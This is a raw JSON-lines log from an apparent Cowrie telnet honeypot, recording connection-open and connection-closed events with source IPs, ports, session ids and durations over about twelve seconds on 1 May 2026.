{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59914,"dst_ip":"10.17.0.5","dst_port":23,"session":"2df49d662233","protocol":"telnet","message":"New connection: 104.167.8.156:59914 (10.17.0.5:23) [session: 2df49d662233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:02.706201Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":32888,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e3937fb61d1","protocol":"telnet","message":"New connection: 104.167.8.156:32888 (10.17.0.5:23) [session: 2e3937fb61d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.060639Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57372,"dst_ip":"10.17.0.5","dst_port":23,"session":"4020eb00abae","protocol":"telnet","message":"New connection: 104.167.8.156:57372 (10.17.0.5:23) [session: 4020eb00abae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.100641Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33696,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a90c2c71808","protocol":"telnet","message":"New connection: 104.167.8.156:33696 (10.17.0.5:23) [session: 5a90c2c71808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.238756Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f51af49297","protocol":"telnet","message":"New connection: 104.167.8.156:34156 (10.17.0.5:23) [session: 31f51af49297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.344848Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53900,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe7661e1336","protocol":"telnet","message":"New connection: 188.208.141.113:53900 (10.17.0.5:23) [session: efe7661e1336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.366185Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d1371a6b7df","protocol":"telnet","message":"New connection: 188.208.141.113:53904 (10.17.0.5:23) [session: 8d1371a6b7df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.409896Z"}
{"eventid":"cowrie.session.closed","duration":30.899903774261475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.500175Z","src_ip":"104.167.8.156","session":"b6dbbf9de9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38819432258606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.548810Z","src_ip":"104.167.8.156","session":"f29fdf12ad89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7de270b257f","protocol":"telnet","message":"New connection: 104.167.8.156:35312 (10.17.0.5:23) [session: f7de270b257f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.683666Z"}
{"eventid":"cowrie.session.closed","duration":31.71813654899597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.826163Z","src_ip":"104.167.8.156","session":"d073fc13f99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36292,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7ba7204b21","protocol":"telnet","message":"New connection: 104.167.8.156:36292 (10.17.0.5:23) [session: cf7ba7204b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:03.913879Z"}
{"eventid":"cowrie.session.closed","duration":30.66370725631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.059611Z","src_ip":"104.167.8.156","session":"5cfcb9254932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314364910125732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.068557Z","src_ip":"104.167.8.156","session":"a4e8a941d272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46855139732361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.090269Z","src_ip":"104.167.8.156","session":"c019dbd85242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53912,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dafd16dbd36","protocol":"telnet","message":"New connection: 188.208.141.113:53912 (10.17.0.5:23) [session: 2dafd16dbd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.109553Z"}
{"eventid":"cowrie.session.closed","duration":30.955138683319092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.224914Z","src_ip":"108.61.251.217","session":"602cbcb1dc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38684,"dst_ip":"10.17.0.5","dst_port":23,"session":"60da3ab6ce7c","protocol":"telnet","message":"New connection: 104.167.8.156:38684 (10.17.0.5:23) [session: 60da3ab6ce7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.472668Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39976,"dst_ip":"10.17.0.5","dst_port":23,"session":"367c0853b384","protocol":"telnet","message":"New connection: 104.167.8.156:39976 (10.17.0.5:23) [session: 367c0853b384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:04.840362Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41246,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32167e5e277","protocol":"telnet","message":"New connection: 104.167.8.156:41246 (10.17.0.5:23) [session: a32167e5e277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.104303Z"}
{"eventid":"cowrie.session.closed","duration":30.68876886367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.124874Z","src_ip":"104.167.8.156","session":"c827a50000bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39005160331726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.340314Z","src_ip":"104.167.8.156","session":"4d6d9ef9d946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00146269798279,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.353486Z","src_ip":"98.70.41.28","session":"6542b3beb13e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34093999862671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.595638Z","src_ip":"104.167.8.156","session":"ed90de7c8dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43902,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd2462732e0c","protocol":"telnet","message":"New connection: 104.167.8.156:43902 (10.17.0.5:23) [session: fd2462732e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.686078Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"334d1c37d766","protocol":"telnet","message":"New connection: 104.167.8.156:44610 (10.17.0.5:23) [session: 334d1c37d766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:05.882606Z"}
{"eventid":"cowrie.session.closed","duration":30.156614303588867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.037341Z","src_ip":"104.167.8.156","session":"38d00a452e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648272275924683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.062572Z","src_ip":"104.167.8.156","session":"771297ee74eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45550,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f66aa4fef53","protocol":"telnet","message":"New connection: 104.167.8.156:45550 (10.17.0.5:23) [session: 9f66aa4fef53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.147687Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42294,"dst_ip":"10.17.0.5","dst_port":23,"session":"19064f14f15c","protocol":"telnet","message":"New connection: 104.167.8.156:42294 (10.17.0.5:23) [session: 19064f14f15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.361135Z"}
{"eventid":"cowrie.session.closed","duration":30.673959016799927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.460938Z","src_ip":"104.167.8.156","session":"8c0b0cb58682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353110790252686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.664131Z","src_ip":"104.167.8.156","session":"06eca82ce99e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25856900215149,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.803879Z","src_ip":"104.167.8.156","session":"18ced16f3c8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948943853378296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.891973Z","src_ip":"104.167.8.156","session":"3740de300848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48602,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e219f34bdd","protocol":"telnet","message":"New connection: 104.167.8.156:48602 (10.17.0.5:23) [session: 39e219f34bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:06.953563Z"}
{"eventid":"cowrie.session.closed","duration":30.66966938972473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.178430Z","src_ip":"104.167.8.156","session":"145f51ecaa6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.195364713668823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.242817Z","src_ip":"104.167.8.156","session":"46a58acc4c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f66ae9a6290","protocol":"telnet","message":"New connection: 104.167.8.156:45992 (10.17.0.5:23) [session: 1f66ae9a6290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.256463Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53928,"dst_ip":"10.17.0.5","dst_port":23,"session":"65be6901da6e","protocol":"telnet","message":"New connection: 188.208.141.113:53928 (10.17.0.5:23) [session: 65be6901da6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.279523Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":49950,"dst_ip":"159.203.135.109","dst_port":23,"session":"70052dc87e32","protocol":"telnet","message":"New connection: 98.70.41.28:49950 (159.203.135.109:23) [session: 70052dc87e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.590607Z"}
{"eventid":"cowrie.session.closed","duration":31.31545376777649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.605657Z","src_ip":"104.167.8.156","session":"79e7ebf8c63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.13575983047485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:07.732595Z","src_ip":"188.208.141.113","session":"a5b9f2fbaeba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.908035278320312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.160620Z","src_ip":"104.167.8.156","session":"cde44cda3fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643738746643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.230380Z","src_ip":"108.61.251.217","session":"906a29179398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.537225246429443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.314217Z","src_ip":"104.167.8.156","session":"e771ad842ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53996,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd0c838d457","protocol":"telnet","message":"New connection: 104.167.8.156:53996 (10.17.0.5:23) [session: 4fd0c838d457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.457302Z"}
{"eventid":"cowrie.session.closed","duration":31.155051231384277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.683836Z","src_ip":"104.167.8.156","session":"698f0f337d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54916,"dst_ip":"10.17.0.5","dst_port":23,"session":"d20cab83d5d8","protocol":"telnet","message":"New connection: 104.167.8.156:54916 (10.17.0.5:23) [session: d20cab83d5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:08.732746Z"}
{"eventid":"cowrie.session.closed","duration":30.536087036132812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.051449Z","src_ip":"104.167.8.156","session":"42554ec085a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50737237930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.173142Z","src_ip":"108.61.251.217","session":"0bdc0a6d75e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205837965011597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.195947Z","src_ip":"104.167.8.156","session":"aa8f3dc0f72b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.00240993499756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.361232Z","src_ip":"64.227.9.242","session":"6552a8dcc5a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":49936,"dst_ip":"159.203.135.109","dst_port":23,"session":"62ae95657017","protocol":"telnet","message":"New connection: 98.70.41.28:49936 (159.203.135.109:23) [session: 62ae95657017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.367075Z"}
{"eventid":"cowrie.session.closed","duration":30.532819509506226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.391017Z","src_ip":"104.167.8.156","session":"82f109671ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57608,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bd27a5e271","protocol":"telnet","message":"New connection: 104.167.8.156:57608 (10.17.0.5:23) [session: 26bd27a5e271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.515294Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53930,"dst_ip":"10.17.0.5","dst_port":23,"session":"1718c20d3e61","protocol":"telnet","message":"New connection: 188.208.141.113:53930 (10.17.0.5:23) [session: 1718c20d3e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.563535Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58266,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf68ef6df9d","protocol":"telnet","message":"New connection: 104.167.8.156:58266 (10.17.0.5:23) [session: fdf68ef6df9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.668901Z"}
{"eventid":"cowrie.session.closed","duration":31.598335027694702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:09.680698Z","src_ip":"104.167.8.156","session":"a79c229c5b01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.249485969543457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.073543Z","src_ip":"104.167.8.156","session":"90a08f6c6199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427194833755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.391717Z","src_ip":"104.167.8.156","session":"876f172502ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00358510017395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.511477Z","src_ip":"104.167.8.156","session":"7cf3f05d9c28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.484200954437256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.888561Z","src_ip":"104.167.8.156","session":"ddda5eaf3e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2783784866333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.922494Z","src_ip":"98.70.41.28","session":"49e790f6b1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131464004517,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:10.963475Z","src_ip":"98.70.41.28","session":"d7c42b75dc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35164,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d67f161ff4","protocol":"telnet","message":"New connection: 104.167.8.156:35164 (10.17.0.5:23) [session: b1d67f161ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.032933Z"}
{"eventid":"cowrie.session.closed","duration":30.67218041419983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.112715Z","src_ip":"104.167.8.156","session":"ca8f794762d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36108,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2afe26eeee0","protocol":"telnet","message":"New connection: 104.167.8.156:36108 (10.17.0.5:23) [session: f2afe26eeee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.276471Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"5308c1d1862c","protocol":"telnet","message":"New connection: 104.167.8.156:36600 (10.17.0.5:23) [session: 5308c1d1862c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.419321Z"}
{"eventid":"cowrie.session.closed","duration":31.329378366470337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.467722Z","src_ip":"104.167.8.156","session":"132a2e7e7aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50360918045044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:11.665583Z","src_ip":"104.167.8.156","session":"ffe2b7f9bbf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"e99084a95324","protocol":"telnet","message":"New connection: 104.167.8.156:38858 (10.17.0.5:23) [session: e99084a95324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.060360Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56080,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb0c7f93b39","protocol":"telnet","message":"New connection: 104.167.8.156:56080 (10.17.0.5:23) [session: 9bb0c7f93b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.065533Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39018,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff7f48629b1","protocol":"telnet","message":"New connection: 104.167.8.156:39018 (10.17.0.5:23) [session: cff7f48629b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.107904Z"}
{"eventid":"cowrie.session.closed","duration":30.997287034988403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.322019Z","src_ip":"104.167.8.156","session":"1598cc8f4279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"4046425e96a6","protocol":"telnet","message":"New connection: 104.167.8.156:39864 (10.17.0.5:23) [session: 4046425e96a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.332447Z"}
{"eventid":"cowrie.session.closed","duration":30.706724405288696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:12.363512Z","src_ip":"108.61.251.217","session":"44ee571d0395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39304,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3c3fad2d238","protocol":"telnet","message":"New connection: 104.167.8.156:39304 (10.17.0.5:23) [session: d3c3fad2d238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:13.188473Z"}
{"eventid":"cowrie.session.closed","duration":31.38454508781433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:13.413232Z","src_ip":"104.167.8.156","session":"7a13664766d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79713773727417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:13.473502Z","src_ip":"104.167.8.156","session":"420ca03fa198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45325207710266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:13.598207Z","src_ip":"104.167.8.156","session":"dc197af5f26d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09399437904358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:13.841779Z","src_ip":"104.167.8.156","session":"491b187b5017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":60784,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6ea9de0f4b","protocol":"telnet","message":"New connection: 69.65.3.189:60784 (10.17.0.5:23) [session: 0c6ea9de0f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.049042Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"05066ec8d838","protocol":"telnet","message":"New connection: 69.65.3.189:32824 (10.17.0.5:23) [session: 05066ec8d838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:14.053104Z"}
